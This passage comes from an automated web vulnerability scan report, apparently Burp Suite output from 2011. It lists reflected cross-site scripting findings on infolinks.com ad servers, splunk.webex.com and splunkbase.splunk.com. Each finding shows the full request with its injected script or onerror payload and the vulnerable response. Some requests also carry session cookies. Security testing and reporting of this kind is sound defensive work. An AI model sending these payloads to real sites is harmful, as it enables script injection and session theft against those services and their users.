Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: max-age=0
Content-Type: text/javascript;charset=UTF-8
Content-Length: 186
Date: Sat, 05 Feb 2011 22:35:19 GMT
Connection: close

INFOLINKS.gsdCallbacka702b<script>alert(1)</script>e020ac7d6aa({rs:'rt82.infolinks.com',makey:'4543475a454d475a4645405a4640475b45464d424d404140474d4c454c5b69727f75',ms:'31',scl:false} );

4.154. http://rt32.infolinks.com/action/doq.htm [fuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt32.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the fuid request parameter is copied into the HTML document as plain text between tags. The payload 87eb5<script>alert(1)</script>139bdf357156264fe was submitted in the fuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944169071.1&twnum=8&rts=1296944169071&crtss=30&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b639287eb5<script>alert(1)</script>139bdf357156264fe&rid=&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&rh=&page%5Fkeyw=&by=f&makey=46404459464e4459454643594543445846454e414e4343454141424f475869707271&pid=112737&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28String%2EfromCharCode%2888%2C83%2C83%29%29%253C%2Fscript%253E3f01d4d8a23&ms=81&jsv=209%2E1&ptitle=Gambar6823d%3Cscript%3Ealert%28String%2EfromCharCode%2888%2C83%2C83%29%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&crtw=728&crt=1&csilv=3%2E0%2E50611%2E0&crtwa=728&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt32.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid="11d77bcd-1e56-4ec4-8f17-60b91b3b639287eb5<script>alert(1)</script>139bdf357156264fe"; Version=1; Domain=infolinks.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:49:45 GMT; Path=/
Set-Cookie: cnoi=3; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:45 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 3365
Date: Sat, 05 Feb 2011 22:35:38 GMT
Connection: close

data=({rid:'b954ffe8-152c-44af-a796-cfe666b2a1d5',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b639287eb5<script>alert(1)</script>139bdf357156264fe',sentences:{'graphic designers':{auth:{ssd:'m-CgWNHkBNztVYW8Sno0DzskCEYwZO-Fo_mk6Z2qmrRR2nYtUW4fmqyLsNc2QjPDZ73IgQXZgYjddz0VcK_tavnC9K_SyZXX8YY0NP0VwZVcn7DZSjQ9Ghn-pXmCHnfoZH1pjihgoqs-EtTbZV1itVn4vfIs
...[SNIP]...

4.155. http://rt32.infolinks.com/action/doq.htm [rid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt32.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the rid request parameter is copied into the HTML document as plain text between tags. The payload 7b8d9<script>alert(1)</script>1b63b6cceb51a55a4 was submitted in the rid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944169071.1&twnum=8&rts=1296944169071&crtss=30&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b6392&rid=7b8d9<script>alert(1)</script>1b63b6cceb51a55a4&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&rh=&page%5Fkeyw=&by=f&makey=46404459464e4459454643594543445846454e414e4343454141424f475869707271&pid=112737&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28String%2EfromCharCode%2888%2C83%2C83%29%29%253C%2Fscript%253E3f01d4d8a23&ms=81&jsv=209%2E1&ptitle=Gambar6823d%3Cscript%3Ealert%28String%2EfromCharCode%2888%2C83%2C83%29%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&crtw=728&crt=1&csilv=3%2E0%2E50611%2E0&crtwa=728&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt32.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:47 GMT; Path=/
Set-Cookie: cnoi=3; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:47 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2944
Date: Sat, 05 Feb 2011 22:35:39 GMT
Connection: close

data=({rid:'7b8d9<script>alert(1)</script>1b63b6cceb51a55a4',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'gPdOCnkvVSeDiO2LrumWxxjyKN0KI9Fx6ODlbPZzggLz4ma2HXJ9s1v_mcCoKMPU-E6eG4_Ojy8wUui-G8I3ntj52Hgr2-f_utPScuMAo0NYdDZ0
...[SNIP]...

4.156. http://rt82.infolinks.com/action/doq.htm [fuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt82.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the fuid request parameter is copied into the HTML document as plain text between tags. The payload beb51<script>alert(1)</script>e720329519ecd3420 was submitted in the fuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944132135.1&twnum=8&rts=1296944132136&crt=1&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b6392beb51<script>alert(1)</script>e720329519ecd3420&rid=&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&rh=&page%5Fkeyw=&by=f&makey=4345415c434b415c4043465c4046415d43404b444b4646404142424a465d69747274&csilv=3%2E0%2E50611%2E0&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E3f01d4d8a23&ms=81&jsv=209%2E1&ptitle=Gambar6823d%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&crtw=728&pid=112737&crtwa=728&crtss=30&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt82.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid="11d77bcd-1e56-4ec4-8f17-60b91b3b6392beb51<script>alert(1)</script>e720329519ecd3420"; Version=1; Domain=infolinks.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:49:26 GMT; Path=/
Set-Cookie: cnoi=2; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:26 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 3365
Date: Sat, 05 Feb 2011 22:35:19 GMT
Connection: close

data=({rid:'bc7842f8-d9f4-401a-b136-c01aaeec545f',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392beb51<script>alert(1)</script>e720329519ecd3420',sentences:{'graphic designers':{auth:{ssd:'Weh28--rxtDw9as3ghWnkjuTMd2nsdTbczAUqnoSdSB0PsNbC7rxWHy_6CpzqgUZuoWMypczwW87fPU4C9CAbAi_V14RRIxEqOTcNNW37XLnpjc3VscncRmHFVBvUvt-Al1jbYGPwpBouHjt6SjPID7lM4XI
...[SNIP]...

4.157. http://rt82.infolinks.com/action/doq.htm [rid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt82.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the rid request parameter is copied into the HTML document as plain text between tags. The payload ff64d<script>alert(1)</script>4f721153ea292428 was submitted in the rid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944132135.1&twnum=8&rts=1296944132136&crt=1&rcate=&anow=&fuid=11d77bcd%2D1e56%2D4ec4%2D8f17%2D60b91b3b6392&rid=ff64d<script>alert(1)</script>4f721153ea292428&wsid=0&ref=burp&pdom=www%2Escare666%2Ecom&refq=&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&rh=&page%5Fkeyw=&by=f&makey=4345415c434b415c4043465c4046415d43404b444b4646404142424a465d69747274&csilv=3%2E0%2E50611%2E0&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E3f01d4d8a23&ms=81&jsv=209%2E1&ptitle=Gambar6823d%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&crtw=728&pid=112737&crtwa=728&crtss=30&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt82.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:28 GMT; Path=/
Set-Cookie: cnoi=2; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:28 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2919
Date: Sat, 05 Feb 2011 22:35:20 GMT
Connection: close

data=({rid:'ff64d<script>alert(1)</script>4f721153ea292428',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'mpTaSYElFTre3J9F8-DLXlPVLK3jQZ05tKZKWVqoJgjSZr7A9AKF5C9r6yG106NgB0ku9AbIGOrEjoaoguiSAGwanXvP1KBGhU8-ST0tVxI1MmUC
...[SNIP]...

4.158. http://rt83.infolinks.com/action/doq.htm [fuid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt83.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the fuid request parameter is copied into the HTML document as plain text between tags. The payload 62e7f<script>alert(1)</script>b664e74e90dbc44a3 was submitted in the fuid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944122040.1&crtwa=728&twnum=8&rts=1296944122041&crtss=30&rcate=&anow=&crt=1&rid=&ref=burp&fuid=62e7f<script>alert(1)</script>b664e74e90dbc44a3&refq=&rh=&wsid=0&by=f&pdom=www%2Escare666%2Ecom&csilv=3%2E0%2E50611%2E0&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&page%5Fkeyw=&ms=81&jsv=209&makey=4244405d424a405d4142475d4147405c42414a454a474741424a4440415c69767476&crtw=728&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E3f01d4d8a23&pid=112737&ptitle=Gambar6823d%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt83.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid="62e7f<script>alert(1)</script>b664e74e90dbc44a3"; Version=1; Domain=infolinks.com; Max-Age=2147483647; Expires=Fri, 24-Feb-2079 01:49:27 GMT; Path=/
Set-Cookie: cnoi=1; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:27 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2943
Date: Sat, 05 Feb 2011 22:35:20 GMT
Connection: close

data=({rid:'8ccf1d65-c7ac-40cd-85d0-1cb3dabc4fd1',fuid:'62e7f<script>alert(1)</script>b664e74e90dbc44a3',sentences:{'graphic designers':{auth:{ssd:'dTJQZwfoRTEP2G3vDm7Fo_C6LWoTJ5ETg6HPDCPCHWMigls3Fa5hoF3YAmDqY0UGzRaO18aFHPql6xKHDWjo24GqHdUu5QMxrD1kJZjuMlMzzXswvz7AM0gRLagJhjfmERxRwrizHc6SdNl_P5C-NfsyFhX8
...[SNIP]...

4.159. http://rt83.infolinks.com/action/doq.htm [rid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rt83.infolinks.com
Path:	/action/doq.htm

Issue detail

The value of the rid request parameter is copied into the HTML document as plain text between tags. The payload 3984a<script>alert(1)</script>d2b79777ae4b361b6 was submitted in the rid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action/doq.htm?pcode=utf-8&r=1296944122040.1&crtwa=728&twnum=8&rts=1296944122041&crtss=30&rcate=&anow=&crt=1&rid=3984a<script>alert(1)</script>d2b79777ae4b361b6&ref=burp&fuid=&refq=&rh=&wsid=0&by=f&pdom=www%2Escare666%2Ecom&csilv=3%2E0%2E50611%2E0&ptxt=just%20about%20news%7Cfree%20tattoo%20designs%20downloads%20on&page%5Fkeyw=&ms=81&jsv=209&makey=4244405d424a405d4142475d4147405c42414a454a474741424a4440415c69767476&crtw=728&purl=http%3A%2F%2Fwww%2Escare666%2Ecom%2Fnews%2Fgambar6823d%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E3f01d4d8a23&pid=112737&ptitle=Gambar6823d%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3E3f01d4d8a23%20%2D%20scare666%2Ecom&v=2%2Em%2D36019%2Eh%2D36019 HTTP/1.1
Host: rt83.infolinks.com
Proxy-Connection: keep-alive
Referer: http://resources.infolinks.com/flash/ic.swf
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Set-Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:26 GMT; Path=/
Set-Cookie: cnoi=1; Domain=infolinks.com; Expires=Fri, 24-Feb-2079 01:49:26 GMT; Path=/
P3P: CP="NON DSP NID OUR COR"
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 2943
Date: Sat, 05 Feb 2011 22:35:19 GMT
Connection: close

data=({rid:'3984a<script>alert(1)</script>d2b79777ae4b361b6',fuid:'11d77bcd-1e56-4ec4-8f17-60b91b3b6392',sentences:{'graphic designers':{auth:{ssd:'ZEQY9X2nOnbkZ-KR9-xTKgidirl5F7G7UWOazHA1ffZeNFBAEg1E9bn99enhCwqPZTcXvBRDpvvRLlKAxNg9BFX3GDQlo3zLttQrmUb8HzR1O0EV
...[SNIP]...

4.160. https://splunk.webex.com/mw0305l/mywebex/default.do [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://splunk.webex.com
Path:	/mw0305l/mywebex/default.do

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 69e60<img%20src%3da%20onerror%3dalert(1)>cf07a33562d was submitted in the REST URL parameter 1. This input was echoed as 69e60<img src=a onerror=alert(1)>cf07a33562d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /mw0305l69e60<img%20src%3da%20onerror%3dalert(1)>cf07a33562d/mywebex/default.do HTTP/1.1
Host: splunk.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Date: Sat, 05 Feb 2011 22:59:37 GMT
Server: Apache
Content-Length: 95
Set-Cookie: JSESSIONID=wQpnNNWZKGkD3Fvy49My16T2f673R4kb13PtRhvHQXP9pNvnv9Wf!1468971393; path=/
Connection: close
Content-Type: text/html

Invalid path /mw0305l69e60<img src=a onerror=alert(1)>cf07a33562d/mywebex/default was requested

4.161. https://splunk.webex.com/mw0305l/mywebex/default.do [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://splunk.webex.com
Path:	/mw0305l/mywebex/default.do

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9b499<img%20src%3da%20onerror%3dalert(1)>ba126beb79a was submitted in the REST URL parameter 2. This input was echoed as 9b499<img src=a onerror=alert(1)>ba126beb79a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /mw0305l/mywebex9b499<img%20src%3da%20onerror%3dalert(1)>ba126beb79a/default.do HTTP/1.1
Host: splunk.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 400 Bad Request
Date: Sat, 05 Feb 2011 22:59:42 GMT
Server: Apache
Content-Length: 87
Set-Cookie: JSESSIONID=lBlLNNWp45qdNzBYc0nS9jJpHfhnZFPGkGvDDwhn6N4WtDrncRft!88149066; path=/
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
Connection: close
Content-Type: text/html

Invalid path /mywebex9b499<img src=a onerror=alert(1)>ba126beb79a/default was requested

4.162. http://splunkbase.splunk.com/ [1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/

Issue detail

The value of the 1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a53c"><script>alert(1)</script>00b06087c8 was submitted in the 1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=13a53c"><script>alert(1)</script>00b06087c8 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1; sso=173.193.214.243.1296942930878168

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:43 GMT
Server: Apache/2.2.8 (EL)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 74738

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web
...[SNIP]...
<a href="/account:login/?return_to=/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=13a53c"><script>alert(1)</script>00b06087c8">
...[SNIP]...

4.163. http://splunkbase.splunk.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ffc5"><script>alert(1)</script>46cc332d1dc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?1ffc5"><script>alert(1)</script>46cc332d1dc=1 HTTP/1.1
Host: splunkbase.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:48 GMT
Server: Apache/2.2.8 (EL)
Set-Cookie: Apache=173.193.214.243.1296942768079455; path=/; expires=Sun, 01-Feb-26 21:52:48 GMT; domain=.splunk.com
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=5ih4e6jfg6tk3q563i76jaiq37; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ssoj=1
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 75047

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<!-- web
...[SNIP]...
<a href="/account:login/?return_to=/?1ffc5"><script>alert(1)</script>46cc332d1dc=1">
...[SNIP]...

4.164. http://splunkbase.splunk.com/account:session/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://splunkbase.splunk.com
Path:	/account:session/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28c71"><script>alert(1)</script>af5883db310 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /account:session28c71"><script>alert(1)</script>af5883db310/?redir=/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1&id=173.193.214.243.1296942930878168 HTTP/1.1
Host: splunkbase.splunk.com
Proxy-Connection: keep-alive
Referer: http://splunkbase.splunk.com/?1ffc5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E46cc332d1dc=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168; PHPSESSID=962720tkf55lv04kpjb1vmi5u6; ssoj=1

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:34:43 GMT
